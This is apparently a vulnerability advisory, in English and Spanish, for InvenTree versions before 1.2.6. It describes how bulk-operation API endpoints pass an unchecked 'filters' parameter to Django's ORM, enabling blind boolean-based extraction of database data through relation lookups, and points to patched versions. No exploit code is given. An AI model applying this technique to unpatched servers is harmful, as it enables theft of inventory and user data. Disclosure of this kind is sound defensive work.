Prior to version 1.2.6, certain API endpoints associated with bulk data operations can be hijacked to exfiltrate sensitive information from the database. The bulk operation API endpoints (e.g. `/api/part/`, `/api/stock/`, `/api/order/so/allocation/`, and others) accept a filters parameter that is passed directly to Django's ORM queryset.filter(**filters) without any field allowlisting. This enables any authenticated user to traverse model relationships using Django's __ lookup syntax and perform blind boolean-based data extraction. This issue is patched in version 1.2.6, and 1.3.0 (or above). Users should update to the patched versions. No known workarounds are available."}, {"lang": "es", "value": "InvenTree es un Sistema de Gestión de Inventario de Código Abierto.

Los endpoints de la API de operaciones masivas (por ejemplo, `/api/part/`, `/api/stock/`, `/api/order/so/allocation/`, y otros) aceptan un parámetro 'filters' que se pasa directamente a `queryset.filter(**filters)` del ORM de Django sin ninguna lista blanca de campos. Esto permite a cualquier usuario autenticado recorrer relaciones de modelos usando la sintaxis de búsqueda `__` de Django y realizar extracción de datos ciega basada en booleanos. Este problema está parcheado en la versión 1.2.6, y 1.3.0 (o superior). Los usuarios deben actualizar a las versiones parcheadas.
